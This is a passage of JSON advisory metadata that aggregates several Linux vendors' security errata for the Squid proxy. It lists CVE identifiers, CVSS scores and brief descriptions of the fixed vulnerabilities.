"CVE-2019-12525", "CVE-2020-11945"], "modified": "2020-05-06T13:05:21", "id": "RHSA-2020:2040", "href": "https://access.redhat.com/errata/RHSA-2020:2040", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T00:41:43", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nSecurity Fix(es):\n\n* squid: improper check for new member in ESIExpression::Evaluate allows for stack buffer overflow (CVE-2019-12519)\n\n* squid: improper access restriction upon Digest Authentication nonce replay could lead to remote code execution (CVE-2020-11945)\n\n* squid: parsing of header Proxy-Authentication leads to memory corruption (CVE-2019-12525)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-06T12:52:10", "type": "redhat", "title": "(RHSA-2020:2041) Important: squid:4 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2020-11945"], "modified": "2020-05-06T13:12:16", "id": "RHSA-2020:2041", "href": "https://access.redhat.com/errata/RHSA-2020:2041", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-04T18:42:04", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.11). (BZ#1829467)\n\nSecurity Fix(es):\n\n* squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n* squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n* squid: Improper input validation in URI processor (CVE-2019-12523)\n\n* squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n* squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n* squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n* squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n* squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n* squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n* squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n* squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n* squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n* squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour (CVE-2019-18860)\n\n* squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n* squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\n* squid: DoS in TLS handshake (CVE-2020-14058)\n\n* squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n* squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 8.3 Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-03T12:32:17", "type": "redhat", "title": "(RHSA-2020:4743) Moderate: squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-11-04T00:02:31", "id": "RHSA-2020:4743", "href": "https://access.redhat.com/errata/RHSA-2020:4743", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "oraclelinux": [{"lastseen": "2022-10-03T18:44:38", "description": "[ - 7:4.11-3.0.1]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-03T00:00:00", "type": "oraclelinux", "title": "squid security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12523", "CVE-2019-12524"], "modified": "2022-10-03T00:00:00", "id": "ELSA-2022-22254", "href": "http://linux.oracle.com/errata/ELSA-2022-22254.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:24:28", "description": "squid\n[7:4.4-8.1]\n- Resolves: #1828368 - CVE-2019-12519 squid: improper check for new member in\n ESIExpression::Evaluate allows for stack buffer overflow\n- Resolves: #1828367 - CVE-2020-11945 squid: improper access restriction upon\n Digest Authentication nonce replay could lead to remote code execution\n- Resolves: #1829402 - CVE-2019-12525 squid:4/squid: parsing of header\n Proxy-Authentication leads to memory corruption", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-05-12T00:00:00", "type": "oraclelinux", "title": "squid:4 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2020-11945"], "modified": "2020-05-12T00:00:00", "id": "ELSA-2020-2041", "href": "http://linux.oracle.com/errata/ELSA-2020-2041.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:24:40", "description": "[7:3.5.20-15.1]\n- Resolves: #1828359 - CVE-2020-11945 squid: improper access restriction upon\n Digest Authentication nonce replay could lead to remote code execution\n- Resolves: #1828360 - CVE-2019-12519 squid: improper check for new member in\n ESIExpression::Evaluate allows for stack buffer overflow\n- Resolves: #1829772 - CVE-2019-12525 squid: parsing of header\n Proxy-Authentication leads to memory corruption", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-05-07T00:00:00", "type": "oraclelinux", "title": "squid security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2020-11945"], "modified": "2020-05-07T00:00:00", "id": "ELSA-2020-2040", "href": "http://linux.oracle.com/errata/ELSA-2020-2040.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:24:50", "description": "libecap\nsquid\n[7:4.4-8.2]\n- Resolves: #1872345 - CVE-2020-15811 squid:4/squid: HTTP Request Splitting\n could result in cache poisoning\n- Resolves: #1872330 - CVE-2020-15810 squid:4/squid: HTTP Request Smuggling\n could result in cache poisoning\n[7:4.4-8.1]\n- Resolves: #1828368 - CVE-2019-12519 squid: improper check for new member in\n ESIExpression::Evaluate allows for stack buffer overflow\n- Resolves: #1828367 - CVE-2020-11945 squid: improper access restriction upon\n Digest Authentication nonce replay could lead to remote code execution\n- Resolves: #1829402 - CVE-2019-12525 squid:4/squid: parsing of header\n Proxy-Authentication leads to memory corruption", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-09-04T00:00:00", "type": "oraclelinux", "title": "squid:4 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2020-11945", "CVE-2020-15810", "CVE-2020-15811"], "modified": "2020-09-04T00:00:00", "id": "ELSA-2020-3623", "href": "http://linux.oracle.com/errata/ELSA-2020-3623.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:24:45", "description": "[7:3.5.20-17.4]\n- Resolves: #1872349 - CVE-2020-24606 squid: Improper Input Validation could\n result in a DoS\n- Resolves: #1872327 - CVE-2020-15810 squid: HTTP Request Smuggling could\n result in cache poisoning\n- Resolves: #1872342 - CVE-2020-15811 squid: HTTP Request Splitting could\n result in cache poisoning\n[7:3.5.20-17.2]\n- Resolves: #1802516 - CVE-2020-8449 squid: Improper input validation issues\n in HTTP Request processing\n- Resolves: #1802515 - CVE-2020-8450 squid: Buffer overflow in a Squid acting\n as reverse-proxy\n- Resolves: #1853129 - CVE-2020-15049 squid: request smuggling and poisoning\n attack against the HTTP cache\n- Resolves: #1802517 - CVE-2019-12528 squid: Information Disclosure issue in\n FTP Gateway\n[7:3.5.20-17]\n- Resolves: #1828361 - CVE-2020-11945 squid: improper access restriction upon\n Digest Authentication nonce replay could lead to remote code execution\n- Resolves: #1828362 - CVE-2019-12519 squid: improper check for new member in\n ESIExpression::Evaluate allows for stack buffer overflow [rhel\n[7:3.5.20-16]\n- Resolves: #1738582 - CVE-2019-12525 squid: parsing of header\n Proxy-Authentication leads to memory corruption", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-10-08T00:00:00", "type": "oraclelinux", "title": "squid security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2019-12528", "CVE-2020-11945", "CVE-2020-15049", "CVE-2020-15810", "CVE-2020-15811", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-10-08T00:00:00", "id": "ELSA-2020-4082", "href": "http://linux.oracle.com/errata/ELSA-2020-4082.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-23T02:27:50", "description": " ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-11-10T00:00:00", "type": "oraclelinux", "title": "squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-11-10T00:00:00", "id": "ELSA-2020-4743", "href": "http://linux.oracle.com/errata/ELSA-2020-4743.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "almalinux": [{"lastseen": "2023-12-03T17:28:39", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nSecurity Fix(es):\n\n* squid: improper check for new member in ESIExpression::Evaluate allows for stack buffer overflow (CVE-2019-12519)\n\n* squid: improper access restriction upon Digest Authentication nonce replay could lead to remote code execution (CVE-2020-11945)\n\n* squid: parsing of header Proxy-Authentication leads to memory corruption (CVE-2019-12525)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-06T12:52:10", "type": "almalinux", "title": "Important: squid:4 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2020-11945"], "modified": "2020-05-06T12:52:10", "id": "ALSA-2020:2041", "href": "https://errata.almalinux.org/8/ALSA-2020-2041.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T17:28:39", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.11). (BZ#1829467)\n\nSecurity Fix(es):\n\n* squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n* squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n* squid: Improper input validation in URI processor (CVE-2019-12523)\n\n* squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n* squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n* squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n* squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n* squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n* squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n* squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n* squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n* squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n* squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour (CVE-2019-18860)\n\n* squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n* squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\n* squid: DoS in TLS handshake (CVE-2020-14058)\n\n* squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n* squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-03T12:32:17", "type": "almalinux", "title": "Moderate: squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-11-03T19:54:15", "id": "ALSA-2020:4743", "href": "https://errata.almalinux.org/8/ALSA-2020-4743.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rocky": [{"lastseen": "2023-12-03T17:28:31", "description": "An update is available for libecap.\nThis update affects Rocky Linux 8.\nA Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list\nSquid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nSecurity Fix(es):\n\n* squid: improper check for new member in ESIExpression::Evaluate allows for stack buffer overflow (CVE-2019-12519)\n\n* squid: improper access restriction upon Digest Authentication nonce replay could lead to remote code execution (CVE-2020-11945)\n\n* squid: parsing of header Proxy-Authentication leads to memory corruption (CVE-2019-12525)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-06T12:52:10", "type": "rocky", "title": "squid:4 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2020-11945"], "modified": "2020-05-06T12:52:10", "id": "RLSA-2020:2041", "href": "https://errata.rockylinux.org/RLSA-2020:2041", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T17:28:26", "description": "An update is available for libecap.\nThis update affects Rocky Linux 8.\nA Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list\nSquid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.11). (BZ#1829467)\n\nSecurity Fix(es):\n\n* squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n* squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n* squid: Improper input validation in URI processor (CVE-2019-12523)\n\n* squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n* squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n* squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n* squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n* squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n* squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n* squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n* squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n* squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n* squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour (CVE-2019-18860)\n\n* squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n* squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\n* squid: DoS in TLS handshake (CVE-2020-14058)\n\n* squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n* squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Rocky Linux 8.3 Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-03T12:32:17", "type": "rocky", "title": "squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-11-03T12:32:17", "id": "RLSA-2020:4743", "href": "https://errata.rockylinux.org/RLSA-2020:4743", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2022-04-18T12:41:20", "description": "An update that fixes 6 vulnerabilities is now available.\n\nDescription:\n\n This update for squid to version 4.11 fixes the following issues:\n\n - CVE-2020-11945: Fixed a potential remote code execution vulnerability\n when using HTTP Digest Authentication (bsc#1170313).\n - CVE-2019-12519, CVE-2019-12521: Fixed incorrect buffer handling that can\n result in cache poisoning, remote execution, and denial of service\n attacks when processing ESI responses (bsc#1169659).\n - CVE-2020-8517: Fixed a possible denial of service caused by incorrect\n buffer management ext_lm_group_acl when processing NTLM Authentication\n credentials (bsc#1162691).\n - CVE-2019-12528: Fixed possible information disclosure when translating\n FTP server listings into HTTP responses (bsc#1162689).\n - CVE-2019-18860: Fixed handling of invalid domain names in cachemgr.cgi\n (bsc#1167373).\n\n This update was imported from the SUSE:SLE-15:Update update 